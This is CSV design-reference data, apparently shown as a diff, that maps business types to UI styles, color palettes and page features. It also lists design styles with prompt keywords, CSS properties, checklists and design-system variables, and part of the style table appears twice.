59,Childcare/Daycare,"childcare, daycare",Claymorphism + Vibrant & Block-based,"Soft UI Evolution, Accessible & Ethical",Social Proof-Focused + Trust,Parent Dashboard,Playful pastels + Safe colors + Warm accents,Programs. Staff profiles. Safety certifications. Parent portal. Activity updates. Cheerful imagery.
|
||||
60,Senior Care/Elderly,"care, elderly, senior",Accessible & Ethical + Soft UI Evolution,"Minimalism, Neumorphism",Trust & Authority + Social Proof,Healthcare Analytics,Calm Blue + Warm neutrals + Large text,Care services. Staff qualifications. Facility tour. Family portal. Large touch targets. High contrast. Accessibility-first.
|
||||
61,Medical Clinic,"clinic, medical",Accessible & Ethical + Minimalism,"Neumorphism, Trust & Authority",Trust & Authority + Conversion,Healthcare Analytics,Medical Blue (#0077B6) + Trust White + Calm Green,Services. Doctor profiles. Online booking. Patient portal. Insurance info. HIPAA compliant. Trust signals.
|
||||
62,Pharmacy/Drug Store,"drug, pharmacy, store",Flat Design + Accessible & Ethical,"Minimalism, Trust & Authority",Conversion-Optimized + Trust,Inventory Dashboard,Pharmacy Green + Trust Blue + Clean White,Product catalog. Prescription upload. Refill reminders. Health info. Store locator. Safety certifications.
|
||||
63,Dental Practice,"dental, practice",Soft UI Evolution + Minimalism,"Accessible & Ethical, Trust & Authority",Social Proof-Focused + Conversion,Patient Analytics,Fresh Blue + White + Smile Yellow accent,Services. Dentist profiles. Before/after. Online booking. Insurance. Patient testimonials. Friendly imagery.
|
||||
64,Veterinary Clinic,"clinic, veterinary",Claymorphism + Accessible & Ethical,"Soft UI Evolution, Flat Design",Social Proof-Focused + Trust,Pet Health Dashboard,Caring Blue + Pet-friendly colors + Warm accents,Pet services. Vet profiles. Online booking. Pet portal. Emergency info. Friendly animal imagery.
|
||||
65,Florist/Plant Shop,"florist, plant, shop",Organic Biophilic + Vibrant & Block-based,"Aurora UI, Motion-Driven",Hero-Centric Design + Conversion,E-commerce Analytics,Natural Green + Floral pinks/purples + Earth tones,Product catalog. Occasion categories. Delivery scheduling. Care guides. Seasonal collections. Beautiful imagery.
|
||||
66,Bakery/Cafe,"bakery, cafe",Vibrant & Block-based + Soft UI Evolution,"Claymorphism, Motion-Driven",Hero-Centric Design + Conversion,N/A - Order focused,Warm Brown + Cream + Appetizing accents,Menu display. Online ordering. Location/hours. Catering. Seasonal specials. Appetizing photography.
|
||||
67,Coffee Shop,"coffee, shop",Minimalism + Organic Biophilic,"Soft UI Evolution, Flat Design",Hero-Centric Design + Conversion,N/A - Order focused,Coffee Brown (#6F4E37) + Cream + Warm accents,Menu. Online ordering. Loyalty program. Location. Story/origin. Cozy aesthetic.
|
||||
68,Brewery/Winery,"brewery, winery",Motion-Driven + Storytelling-Driven,"Dark Mode (OLED), Organic Biophilic",Storytelling-Driven + Hero-Centric,N/A - E-commerce focused,Deep amber/burgundy + Gold + Craft aesthetic,Product showcase. Story/heritage. Tasting notes. Events. Club membership. Artisanal imagery.
|
||||
69,Airline,"ai, airline, artificial-intelligence, automation, machine-learning, ml",Minimalism + Glassmorphism,"Motion-Driven, Accessible & Ethical",Conversion-Optimized + Feature-Rich,Operations Dashboard,Sky Blue + Brand colors + Trust accents,Flight search. Booking. Check-in. Boarding pass. Loyalty program. Route maps. Mobile-first.
|
||||
70,News/Media Platform,"content, entertainment, media, news, platform, streaming, video",Minimalism + Flat Design,"Dark Mode (OLED), Accessible & Ethical",Hero-Centric Design + Feature-Rich,Media Analytics Dashboard,Brand colors + High contrast + Category colors,Article layout. Breaking news. Categories. Search. Subscription. Mobile reading. Fast loading.
|
||||
71,Magazine/Blog,"articles, blog, content, magazine, posts, writing",Swiss Modernism 2.0 + Motion-Driven,"Minimalism, Aurora UI",Storytelling-Driven + Hero-Centric,Content Analytics,Editorial colors + Brand primary + Clean white,Article showcase. Category navigation. Author profiles. Newsletter signup. Related content. Typography-focused.
|
||||
72,Freelancer Platform,"freelancer, platform",Flat Design + Minimalism,"Vibrant & Block-based, Micro-interactions",Feature-Rich Showcase + Conversion,Marketplace Analytics,Professional Blue + Success Green + Neutral,Profile creation. Portfolio. Skill matching. Messaging. Payment. Reviews. Project management.
|
||||
73,Consulting Firm,"consulting, firm",Trust & Authority + Minimalism,"Swiss Modernism 2.0, Accessible & Ethical",Trust & Authority + Feature-Rich,N/A - Lead generation,Navy + Gold + Professional grey,Service areas. Case studies. Team profiles. Thought leadership. Contact. Professional credibility.
|
||||
74,Marketing Agency,"agency, creative, design, marketing, studio",Brutalism + Motion-Driven,"Vibrant & Block-based, Aurora UI",Storytelling-Driven + Feature-Rich,Campaign Analytics,Bold brand colors + Creative freedom,Portfolio. Case studies. Services. Team. Creative showcase. Results-focused. Bold aesthetic.
|
||||
75,Event Management,"conference, event, management, meetup, registration, ticket",Vibrant & Block-based + Motion-Driven,"Glassmorphism, Aurora UI",Hero-Centric Design + Feature-Rich,Event Analytics,Event theme colors + Excitement accents,Event showcase. Registration. Agenda. Speakers. Sponsors. Ticket sales. Countdown timer.
|
||||
76,Conference/Webinar Platform,"conference, platform, webinar",Glassmorphism + Minimalism,"Motion-Driven, Flat Design",Feature-Rich Showcase + Conversion,Attendee Analytics,Professional Blue + Video accent + Brand,Registration. Agenda. Speaker profiles. Live stream. Networking. Recording access. Virtual event features.
|
||||
77,Membership/Community,"community, membership",Vibrant & Block-based + Soft UI Evolution,"Bento Box Grid, Micro-interactions",Social Proof-Focused + Conversion,Community Analytics,Community brand colors + Engagement accents,Member benefits. Pricing tiers. Community showcase. Events. Member directory. Exclusive content.
|
||||
78,Newsletter Platform,"newsletter, platform",Minimalism + Flat Design,"Swiss Modernism 2.0, Accessible & Ethical",Minimal & Direct + Conversion,Email Analytics,Brand primary + Clean white + CTA accent,Subscribe form. Archive. About. Social proof. Sample content. Simple conversion.
|
||||
79,Digital Products/Downloads,"digital, downloads, products",Vibrant & Block-based + Motion-Driven,"Glassmorphism, Bento Box Grid",Feature-Rich Showcase + Conversion,E-commerce Analytics,Product category colors + Brand + Success green,Product showcase. Preview. Pricing. Instant delivery. License management. Customer reviews.
|
||||
80,Church/Religious Organization,"church, organization, religious",Accessible & Ethical + Soft UI Evolution,"Minimalism, Trust & Authority",Hero-Centric Design + Social Proof,N/A - Community focused,Warm Gold + Deep Purple/Blue + White,Service times. Events. Sermons. Community. Giving. Location. Welcoming imagery.
|
||||
81,Sports Team/Club,"club, sports, team",Vibrant & Block-based + Motion-Driven,"Dark Mode (OLED), 3D & Hyperrealism",Hero-Centric Design + Feature-Rich,Performance Analytics,Team colors + Energetic accents,Schedule. Roster. News. Tickets. Merchandise. Fan engagement. Action imagery.
|
||||
82,Museum/Gallery,"gallery, museum",Minimalism + Motion-Driven,"Swiss Modernism 2.0, 3D & Hyperrealism",Storytelling-Driven + Feature-Rich,Visitor Analytics,Art-appropriate neutrals + Exhibition accents,Exhibitions. Collections. Tickets. Events. Virtual tours. Educational content. Art-focused design.
|
||||
83,Theater/Cinema,"cinema, theater",Dark Mode (OLED) + Motion-Driven,"Vibrant & Block-based, Glassmorphism",Hero-Centric Design + Conversion,Booking Analytics,Dark + Spotlight accents + Gold,Showtimes. Seat selection. Trailers. Coming soon. Membership. Dramatic imagery.
|
||||
84,Language Learning App,"app, language, learning",Claymorphism + Vibrant & Block-based,"Micro-interactions, Flat Design",Feature-Rich Showcase + Social Proof,Learning Analytics,Playful colors + Progress indicators + Country flags,Lesson structure. Progress tracking. Gamification. Speaking practice. Community. Achievement badges.
|
||||
85,Coding Bootcamp,"bootcamp, coding",Dark Mode (OLED) + Minimalism,"Cyberpunk UI, Flat Design",Feature-Rich Showcase + Social Proof,Student Analytics,Code editor colors + Brand + Success green,Curriculum. Projects. Career outcomes. Alumni. Pricing. Application. Terminal aesthetic.
|
||||
86,Cybersecurity Platform,"cyber, security, platform",Cyberpunk UI + Dark Mode (OLED),"Neubrutalism, Minimal & Direct",Trust & Authority + Real-Time,Real-Time Monitoring + Heat Map,Matrix Green + Deep Black + Terminal feel,Data density. Threat visualization. Dark mode default.
|
||||
87,Developer Tool / IDE,"dev, developer, tool, ide",Dark Mode (OLED) + Minimalism,"Flat Design, Bento Box Grid",Minimal & Direct + Documentation,Real-Time Monitor + Terminal,Dark syntax theme colors + Blue focus,Keyboard shortcuts. Syntax highlighting. Fast performance.
|
||||
88,Biotech / Life Sciences,"biotech, biology, science",Glassmorphism + Clean Science,"Minimalism, Organic Biophilic",Storytelling-Driven + Research,Data-Dense + Predictive,Sterile White + DNA Blue + Life Green,Data accuracy. Cleanliness. Complex data viz.
|
||||
89,Space Tech / Aerospace,"aerospace, space, tech",Holographic / HUD + Dark Mode,"Glassmorphism, 3D & Hyperrealism",Immersive Experience + Hero,Real-Time Monitoring + 3D,Deep Space Black + Star White + Metallic,High-tech feel. Precision. Telemetry data.
|
||||
90,Architecture / Interior,"architecture, design, interior",Exaggerated Minimalism + High Imagery,"Swiss Modernism 2.0, Parallax",Portfolio Grid + Visuals,Project Management + Gallery,Monochrome + Gold Accent + High Imagery,High-res images. Typography. Space.
|
||||
91,Quantum Computing Interface,"quantum, computing, physics, qubit, future, science",Holographic / HUD + Dark Mode,"Glassmorphism, Spatial UI",Immersive/Interactive Experience,3D Spatial Data + Real-Time Monitor,Quantum Blue #00FFFF + Deep Black + Interference patterns,Visualize complexity. Qubit states. Probability clouds. High-tech trust.
|
||||
92,Biohacking / Longevity App,"biohacking, health, longevity, tracking, wellness, science",Biomimetic / Organic 2.0,"Minimalism, Dark Mode (OLED)",Data-Dense + Storytelling,Real-Time Monitor + Biological Data,Cellular Pink/Red + DNA Blue + Clean White,Personal data privacy. Scientific credibility. Biological visualizations.
|
||||
93,Autonomous Drone Fleet Manager,"drone, autonomous, fleet, aerial, logistics, robotics",HUD / Sci-Fi FUI,"Real-Time Monitor, Spatial UI",Real-Time Monitor,Geographic + Real-Time,Tactical Green #00FF00 + Alert Red + Map Dark,Real-time telemetry. 3D spatial awareness. Latency indicators. Safety alerts.
|
||||
94,Generative Art Platform,"art, generative, ai, creative, platform, gallery",Minimalism (Frame) + Gen Z Chaos,"Masonry Grid, Dark Mode",Bento Grid Showcase,Gallery / Portfolio,Neutral #F5F5F5 (Canvas) + User Content,Content is king. Fast loading. Creator attribution. Minting flow.
|
||||
95,Spatial Computing OS / App,"spatial, vr, ar, vision, os, immersive, mixed-reality",Spatial UI (VisionOS),"Glassmorphism, 3D & Hyperrealism",Immersive/Interactive Experience,Spatial Dashboard,Frosted Glass + System Colors + Depth,Gaze/Pinch interaction. Depth hierarchy. Environment awareness.
|
||||
96,Sustainable Energy / Climate Tech,"climate, energy, sustainable, green, tech, carbon",Organic Biophilic + E-Ink / Paper,"Data-Dense, Swiss Modernism",Interactive Demo + Data,Energy/Utilities Dashboard,Earth Green + Sky Blue + Solar Yellow,Data transparency. Impact visualization. Low-carbon web design.
|
||||
|
@@ -1,23 +1,23 @@
|
||||
STT,Style Category,AI Prompt Keywords (Copy-Paste Ready),CSS/Technical Keywords,Implementation Checklist,Design System Variables
|
||||
1,Minimalism & Swiss Style,"Design a minimalist landing page. Use: white space, geometric layouts, sans-serif fonts, high contrast, grid-based structure, essential elements only. Avoid shadows and gradients. Focus on clarity and functionality.","display: grid, gap: 2rem, font-family: sans-serif, color: #000 or #FFF, max-width: 1200px, clean borders, no box-shadow unless necessary","☐ Grid-based layout 12-16 columns, ☐ Typography hierarchy clear, ☐ No unnecessary decorations, ☐ WCAG AAA contrast verified, ☐ Mobile responsive grid","--spacing: 2rem, --border-radius: 0px, --font-weight: 400-700, --shadow: none, --accent-color: single primary only"
|
||||
2,Neumorphism,"Create a neumorphic UI with soft 3D effects. Use light pastels, rounded corners (12-16px), subtle soft shadows (multiple layers), no hard lines, monochromatic color scheme with light/dark variations. Embossed/debossed effect on interactive elements.","border-radius: 12-16px, box-shadow: -5px -5px 15px rgba(0,0,0,0.1), 5px 5px 15px rgba(255,255,255,0.8), background: linear-gradient(145deg, color1, color2), transform: scale on press","☐ Rounded corners 12-16px consistent, ☐ Multiple shadow layers (2-3), ☐ Pastel color verified, ☐ Monochromatic palette checked, ☐ Press animation smooth 150ms","--border-radius: 14px, --shadow-soft-1: -5px -5px 15px, --shadow-soft-2: 5px 5px 15px, --color-light: #F5F5F5, --color-primary: single pastel"
|
||||
3,Glassmorphism,"Design a glassmorphic interface with frosted glass effect. Use backdrop blur (10-20px), translucent overlays (rgba 10-30% opacity), vibrant background colors, subtle borders, light source reflection, layered depth. Perfect for modern overlays and cards.","backdrop-filter: blur(15px), background: rgba(255, 255, 255, 0.15), border: 1px solid rgba(255,255,255,0.2), -webkit-backdrop-filter: blur(15px), z-index layering for depth","☐ Backdrop-filter blur 10-20px, ☐ Translucent white 15-30% opacity, ☐ Subtle border 1px light, ☐ Vibrant background verified, ☐ Text contrast 4.5:1 checked","--blur-amount: 15px, --glass-opacity: 0.15, --border-color: rgba(255,255,255,0.2), --background: vibrant color, --text-color: light/dark based on BG"
|
||||
4,Brutalism,"Create a brutalist design with raw, unpolished, stark aesthetic. Use pure primary colors (red, blue, yellow), black & white, no smooth transitions (instant), sharp corners, bold large typography, visible grid lines, default system fonts, intentional 'broken' design elements.","border-radius: 0px, transition: none or 0s, font-family: system-ui or monospace, font-weight: 700+, border: visible 2-4px, colors: #FF0000, #0000FF, #FFFF00, #000000, #FFFFFF","☐ No border-radius (0px), ☐ No transitions (instant), ☐ Bold typography (700+), ☐ Pure primary colors used, ☐ Visible grid/borders, ☐ Asymmetric layout intentional","--border-radius: 0px, --transition-duration: 0s, --font-weight: 700-900, --colors: primary only, --border-style: visible, --grid-visible: true"
|
||||
5,3D & Hyperrealism,"Build an immersive 3D interface using realistic textures, 3D models (Three.js/Babylon.js), complex shadows, realistic lighting, parallax scrolling (3-5 layers), physics-based motion. Include skeuomorphic elements with tactile detail.","transform: translate3d, perspective: 1000px, WebGL canvas, Three.js/Babylon.js library, box-shadow: complex multi-layer, background: complex gradients, filter: drop-shadow()","☐ WebGL/Three.js integrated, ☐ 3D models loaded, ☐ Parallax 3-5 layers, ☐ Realistic lighting verified, ☐ Complex shadows rendered, ☐ Physics animation smooth 300-400ms","--perspective: 1000px, --parallax-layers: 5, --lighting-intensity: realistic, --shadow-depth: 20-40%, --animation-duration: 300-400ms"
|
||||
6,Vibrant & Block-based,"Design an energetic, vibrant interface with bold block layouts, geometric shapes, high color contrast, large typography (32px+), animated background patterns, duotone effects. Perfect for startups and youth-focused apps. Use 4-6 contrasting colors from complementary/triadic schemes.","display: flex/grid with large gaps (48px+), font-size: 32px+, background: animated patterns (CSS), color: neon/vibrant colors, animation: continuous pattern movement","☐ Block layout with 48px+ gaps, ☐ Large typography 32px+, ☐ 4-6 vibrant colors max, ☐ Animated patterns active, ☐ Scroll-snap enabled, ☐ High contrast verified (7:1+)","--block-gap: 48px, --typography-size: 32px+, --color-palette: 4-6 vibrant colors, --animation: continuous pattern, --contrast-ratio: 7:1+"
|
||||
7,Dark Mode (OLED),"Create an OLED-optimized dark interface with deep black (#000000), dark grey (#121212), midnight blue accents. Use minimal glow effects, vibrant neon accents (green, blue, gold, purple), high contrast text. Optimize for eye comfort and OLED power saving.","background: #000000 or #121212, color: #FFFFFF or #E0E0E0, text-shadow: 0 0 10px neon-color (sparingly), filter: brightness(0.8) if needed, color-scheme: dark","☐ Deep black #000000 or #121212, ☐ Vibrant neon accents used, ☐ Text contrast 7:1+, ☐ Minimal glow effects, ☐ OLED power optimization, ☐ No white (#FFFFFF) background","--bg-black: #000000, --bg-dark-grey: #121212, --text-primary: #FFFFFF, --accent-neon: neon colors, --glow-effect: minimal, --oled-optimized: true"
|
||||
8,Accessible & Ethical,"Design with WCAG AAA compliance. Include: high contrast (7:1+), large text (16px+), keyboard navigation, screen reader compatibility, focus states visible (3-4px ring), semantic HTML, ARIA labels, skip links, reduced motion support (prefers-reduced-motion), 44x44px touch targets.","color-contrast: 7:1+, font-size: 16px+, outline: 3-4px on :focus-visible, aria-label, role attributes, @media (prefers-reduced-motion), touch-target: 44x44px, cursor: pointer","☐ WCAG AAA verified, ☐ 7:1+ contrast checked, ☐ Keyboard navigation tested, ☐ Screen reader tested, ☐ Focus visible 3-4px, ☐ Semantic HTML used, ☐ Touch targets 44x44px","--contrast-ratio: 7:1, --font-size-min: 16px, --focus-ring: 3-4px, --touch-target: 44x44px, --wcag-level: AAA, --keyboard-accessible: true, --sr-tested: true"
|
||||
9,Claymorphism,"Design a playful, toy-like interface with soft 3D, chunky elements, bubbly aesthetic, rounded edges (16-24px), thick borders (3-4px), double shadows (inner + outer), pastel colors, smooth animations. Perfect for children's apps and creative tools.","border-radius: 16-24px, border: 3-4px solid, box-shadow: inset -2px -2px 8px, 4px 4px 8px, background: pastel-gradient, animation: soft bounce (cubic-bezier 0.34, 1.56)","☐ Border-radius 16-24px, ☐ Thick borders 3-4px, ☐ Double shadows (inner+outer), ☐ Pastel colors used, ☐ Soft bounce animations, ☐ Playful interactions","--border-radius: 20px, --border-width: 3-4px, --shadow-inner: inset -2px -2px 8px, --shadow-outer: 4px 4px 8px, --color-palette: pastels, --animation: bounce"
|
||||
10,Aurora UI,"Create a vibrant gradient interface inspired by Northern Lights with mesh gradients, smooth color blends, flowing animations. Use complementary color pairs (blue-orange, purple-yellow), flowing background gradients, subtle continuous animations (8-12s loops), iridescent effects.","background: conic-gradient or radial-gradient with multiple stops, animation: @keyframes gradient (8-12s), background-size: 200% 200%, filter: saturate(1.2), blend-mode: screen or multiply","☐ Mesh/flowing gradients applied, ☐ 8-12s animation loop, ☐ Complementary colors used, ☐ Smooth color transitions, ☐ Iridescent effect subtle, ☐ Text contrast verified","--gradient-colors: complementary pairs, --animation-duration: 8-12s, --blend-mode: screen, --color-saturation: 1.2, --effect: iridescent, --loop-smooth: true"
|
||||
11,Retro-Futurism,"Build a retro-futuristic (cyberpunk/vaporwave) interface with neon colors (blue, pink, cyan), deep black background, 80s aesthetic, CRT scanlines, glitch effects, neon glow text/borders, monospace fonts, geometric patterns. Use neon text-shadow and animated glitch effects.","color: neon colors (#0080FF, #FF006E, #00FFFF), text-shadow: 0 0 10px neon, background: #000 or #1A1A2E, font-family: monospace, animation: glitch (skew+offset), filter: hue-rotate","☐ Neon colors used, ☐ CRT scanlines effect, ☐ Glitch animations active, ☐ Monospace font, ☐ Deep black background, ☐ Glow effects applied, ☐ 80s patterns present","--neon-colors: #0080FF #FF006E #00FFFF, --background: #000000, --font-family: monospace, --effect: glitch+glow, --scanline-opacity: 0.3, --crt-effect: true"
|
||||
12,Flat Design,"Create a flat, 2D interface with bold colors, no shadows/gradients, clean lines, simple geometric shapes, icon-heavy, typography-focused, minimal ornamentation. Use 4-6 solid, bright colors in a limited palette with high saturation.","box-shadow: none, background: solid color, border-radius: 0-4px, color: solid (no gradients), fill: solid, stroke: 1-2px, font: bold sans-serif, icons: simplified SVG","☐ No shadows/gradients, ☐ 4-6 solid colors max, ☐ Clean lines consistent, ☐ Simple shapes used, ☐ Icon-heavy layout, ☐ High saturation colors, ☐ Fast loading verified","--shadow: none, --color-palette: 4-6 solid, --border-radius: 2px, --gradient: none, --icons: simplified SVG, --animation: minimal 150-200ms"
|
||||
13,Skeuomorphism,"Design a realistic, textured interface with 3D depth, real-world metaphors (leather, wood, metal), complex gradients (8-12 stops), realistic shadows, grain/texture overlays, tactile press animations. Perfect for premium/luxury products.","background: complex gradient (8-12 stops), box-shadow: realistic multi-layer, background-image: texture overlay (noise, grain), filter: drop-shadow, transform: scale on press (300-500ms)","☐ Realistic textures applied, ☐ Complex gradients 8-12 stops, ☐ Multi-layer shadows, ☐ Texture overlays present, ☐ Tactile animations smooth, ☐ Depth effect pronounced","--gradient-stops: 8-12, --texture-overlay: noise+grain, --shadow-layers: 3+, --animation-duration: 300-500ms, --depth-effect: pronounced, --tactile: true"
|
||||
14,Liquid Glass,"Create a premium liquid glass effect with morphing shapes, flowing animations, chromatic aberration, iridescent gradients, smooth 400-600ms transitions. Use SVG morphing for shape changes, dynamic blur, smooth color transitions creating a fluid, premium feel.","animation: morphing SVG paths (400-600ms), backdrop-filter: blur + saturate, filter: hue-rotate + brightness, blend-mode: screen, background: iridescent gradient","☐ Morphing animations 400-600ms, ☐ Chromatic aberration applied, ☐ Dynamic blur active, ☐ Iridescent gradients, ☐ Smooth color transitions, ☐ Premium feel achieved","--morph-duration: 400-600ms, --blur-amount: 15px, --chromatic-aberration: true, --iridescent: true, --blend-mode: screen, --smooth-transitions: true"
|
||||
15,Motion-Driven,"Build an animation-heavy interface with scroll-triggered animations, microinteractions, parallax scrolling (3-5 layers), smooth transitions (300-400ms), entrance animations, page transitions. Use Intersection Observer for scroll effects, transform for performance, GPU acceleration.","animation: @keyframes scroll-reveal, transform: translateY/X, Intersection Observer API, will-change: transform, scroll-behavior: smooth, animation-duration: 300-400ms","☐ Scroll animations active, ☐ Parallax 3-5 layers, ☐ Entrance animations smooth, ☐ Page transitions fluid, ☐ GPU accelerated, ☐ Prefers-reduced-motion respected","--animation-duration: 300-400ms, --parallax-layers: 5, --scroll-behavior: smooth, --gpu-accelerated: true, --entrance-animation: true, --page-transition: smooth"
|
||||
16,Micro-interactions,"Design with delightful micro-interactions: small 50-100ms animations, gesture-based responses, tactile feedback, loading spinners, success/error states, subtle hover effects, haptic feedback triggers for mobile. Focus on responsive, contextual interactions.","animation: short 50-100ms, transition: hover states, @media (hover: hover) for desktop, :active for press, haptic-feedback CSS/API, loading animation smooth loop","☐ Micro-animations 50-100ms, ☐ Gesture-responsive, ☐ Tactile feedback visual/haptic, ☐ Loading spinners smooth, ☐ Success/error states clear, ☐ Hover effects subtle","--micro-animation-duration: 50-100ms, --gesture-responsive: true, --haptic-feedback: true, --loading-animation: smooth, --state-feedback: success+error"
|
||||
17,Inclusive Design,"Design for universal accessibility: high contrast (7:1+), large text (16px+), keyboard-only navigation, screen reader optimization, WCAG AAA compliance, symbol-based color indicators (not color-only), haptic feedback, voice interaction support, reduced motion options.","aria-* attributes complete, role attributes semantic, focus-visible: 3-4px ring, color-contrast: 7:1+, @media (prefers-reduced-motion), alt text on all images, form labels properly associated","☐ WCAG AAA verified, ☐ 7:1+ contrast all text, ☐ Keyboard accessible (Tab/Enter), ☐ Screen reader tested, ☐ Focus visible 3-4px, ☐ No color-only indicators, ☐ Haptic fallback","--contrast-ratio: 7:1, --font-size: 16px+, --keyboard-accessible: true, --sr-compatible: true, --wcag-level: AAA, --color-symbols: true, --haptic: enabled"
|
||||
18,Zero Interface,"Create a voice-first, gesture-based, AI-driven interface with minimal visible UI, progressive disclosure, voice recognition UI, gesture detection, AI predictions, smart suggestions, context-aware actions. Hide controls until needed.","voice-commands: Web Speech API, gesture-detection: touch events, AI-predictions: hidden by default (reveal on hover), progressive-disclosure: show on demand, minimal UI visible","☐ Voice commands responsive, ☐ Gesture detection active, ☐ AI predictions hidden/revealed, ☐ Progressive disclosure working, ☐ Minimal visible UI, ☐ Smart suggestions contextual","--voice-ui: enabled, --gesture-detection: active, --ai-predictions: smart, --progressive-disclosure: true, --visible-ui: minimal, --context-aware: true"
|
||||
19,Soft UI Evolution,"Design evolved neumorphism with improved contrast (WCAG AA+), modern aesthetics, subtle depth, accessibility focus. Use soft shadows (softer than flat but clearer than pure neumorphism), better color hierarchy, improved focus states, modern 200-300ms animations.","box-shadow: softer multi-layer (0 2px 4px), background: improved contrast pastels, border-radius: 8-12px, animation: 200-300ms smooth, outline: 2-3px on focus, contrast: 4.5:1+","☐ Improved contrast AA/AAA, ☐ Soft shadows modern, ☐ Border-radius 8-12px, ☐ Animations 200-300ms, ☐ Focus states visible, ☐ Color hierarchy clear","--shadow-soft: modern blend, --border-radius: 10px, --animation-duration: 200-300ms, --contrast-ratio: 4.5:1+, --color-hierarchy: improved, --wcag-level: AA+"
|
||||
STT,Style Category,AI Prompt Keywords (Copy-Paste Ready),CSS/Technical Keywords,Implementation Checklist,Design System Variables
|
||||
1,Minimalism & Swiss Style,"Design a minimalist landing page. Use: white space, geometric layouts, sans-serif fonts, high contrast, grid-based structure, essential elements only. Avoid shadows and gradients. Focus on clarity and functionality.","display: grid, gap: 2rem, font-family: sans-serif, color: #000 or #FFF, max-width: 1200px, clean borders, no box-shadow unless necessary","☐ Grid-based layout 12-16 columns, ☐ Typography hierarchy clear, ☐ No unnecessary decorations, ☐ WCAG AAA contrast verified, ☐ Mobile responsive grid","--spacing: 2rem, --border-radius: 0px, --font-weight: 400-700, --shadow: none, --accent-color: single primary only"
|
||||
2,Neumorphism,"Create a neumorphic UI with soft 3D effects. Use light pastels, rounded corners (12-16px), subtle soft shadows (multiple layers), no hard lines, monochromatic color scheme with light/dark variations. Embossed/debossed effect on interactive elements.","border-radius: 12-16px, box-shadow: -5px -5px 15px rgba(0,0,0,0.1), 5px 5px 15px rgba(255,255,255,0.8), background: linear-gradient(145deg, color1, color2), transform: scale on press","☐ Rounded corners 12-16px consistent, ☐ Multiple shadow layers (2-3), ☐ Pastel color verified, ☐ Monochromatic palette checked, ☐ Press animation smooth 150ms","--border-radius: 14px, --shadow-soft-1: -5px -5px 15px, --shadow-soft-2: 5px 5px 15px, --color-light: #F5F5F5, --color-primary: single pastel"
|
||||
3,Glassmorphism,"Design a glassmorphic interface with frosted glass effect. Use backdrop blur (10-20px), translucent overlays (rgba 10-30% opacity), vibrant background colors, subtle borders, light source reflection, layered depth. Perfect for modern overlays and cards.","backdrop-filter: blur(15px), background: rgba(255, 255, 255, 0.15), border: 1px solid rgba(255,255,255,0.2), -webkit-backdrop-filter: blur(15px), z-index layering for depth","☐ Backdrop-filter blur 10-20px, ☐ Translucent white 15-30% opacity, ☐ Subtle border 1px light, ☐ Vibrant background verified, ☐ Text contrast 4.5:1 checked","--blur-amount: 15px, --glass-opacity: 0.15, --border-color: rgba(255,255,255,0.2), --background: vibrant color, --text-color: light/dark based on BG"
|
||||
4,Brutalism,"Create a brutalist design with raw, unpolished, stark aesthetic. Use pure primary colors (red, blue, yellow), black & white, no smooth transitions (instant), sharp corners, bold large typography, visible grid lines, default system fonts, intentional 'broken' design elements.","border-radius: 0px, transition: none or 0s, font-family: system-ui or monospace, font-weight: 700+, border: visible 2-4px, colors: #FF0000, #0000FF, #FFFF00, #000000, #FFFFFF","☐ No border-radius (0px), ☐ No transitions (instant), ☐ Bold typography (700+), ☐ Pure primary colors used, ☐ Visible grid/borders, ☐ Asymmetric layout intentional","--border-radius: 0px, --transition-duration: 0s, --font-weight: 700-900, --colors: primary only, --border-style: visible, --grid-visible: true"
|
||||
5,3D & Hyperrealism,"Build an immersive 3D interface using realistic textures, 3D models (Three.js/Babylon.js), complex shadows, realistic lighting, parallax scrolling (3-5 layers), physics-based motion. Include skeuomorphic elements with tactile detail.","transform: translate3d, perspective: 1000px, WebGL canvas, Three.js/Babylon.js library, box-shadow: complex multi-layer, background: complex gradients, filter: drop-shadow()","☐ WebGL/Three.js integrated, ☐ 3D models loaded, ☐ Parallax 3-5 layers, ☐ Realistic lighting verified, ☐ Complex shadows rendered, ☐ Physics animation smooth 300-400ms","--perspective: 1000px, --parallax-layers: 5, --lighting-intensity: realistic, --shadow-depth: 20-40%, --animation-duration: 300-400ms"
|
||||
6,Vibrant & Block-based,"Design an energetic, vibrant interface with bold block layouts, geometric shapes, high color contrast, large typography (32px+), animated background patterns, duotone effects. Perfect for startups and youth-focused apps. Use 4-6 contrasting colors from complementary/triadic schemes.","display: flex/grid with large gaps (48px+), font-size: 32px+, background: animated patterns (CSS), color: neon/vibrant colors, animation: continuous pattern movement","☐ Block layout with 48px+ gaps, ☐ Large typography 32px+, ☐ 4-6 vibrant colors max, ☐ Animated patterns active, ☐ Scroll-snap enabled, ☐ High contrast verified (7:1+)","--block-gap: 48px, --typography-size: 32px+, --color-palette: 4-6 vibrant colors, --animation: continuous pattern, --contrast-ratio: 7:1+"
|
||||
7,Dark Mode (OLED),"Create an OLED-optimized dark interface with deep black (#000000), dark grey (#121212), midnight blue accents. Use minimal glow effects, vibrant neon accents (green, blue, gold, purple), high contrast text. Optimize for eye comfort and OLED power saving.","background: #000000 or #121212, color: #FFFFFF or #E0E0E0, text-shadow: 0 0 10px neon-color (sparingly), filter: brightness(0.8) if needed, color-scheme: dark","☐ Deep black #000000 or #121212, ☐ Vibrant neon accents used, ☐ Text contrast 7:1+, ☐ Minimal glow effects, ☐ OLED power optimization, ☐ No white (#FFFFFF) background","--bg-black: #000000, --bg-dark-grey: #121212, --text-primary: #FFFFFF, --accent-neon: neon colors, --glow-effect: minimal, --oled-optimized: true"
|
||||
8,Accessible & Ethical,"Design with WCAG AAA compliance. Include: high contrast (7:1+), large text (16px+), keyboard navigation, screen reader compatibility, focus states visible (3-4px ring), semantic HTML, ARIA labels, skip links, reduced motion support (prefers-reduced-motion), 44x44px touch targets.","color-contrast: 7:1+, font-size: 16px+, outline: 3-4px on :focus-visible, aria-label, role attributes, @media (prefers-reduced-motion), touch-target: 44x44px, cursor: pointer","☐ WCAG AAA verified, ☐ 7:1+ contrast checked, ☐ Keyboard navigation tested, ☐ Screen reader tested, ☐ Focus visible 3-4px, ☐ Semantic HTML used, ☐ Touch targets 44x44px","--contrast-ratio: 7:1, --font-size-min: 16px, --focus-ring: 3-4px, --touch-target: 44x44px, --wcag-level: AAA, --keyboard-accessible: true, --sr-tested: true"
|
||||
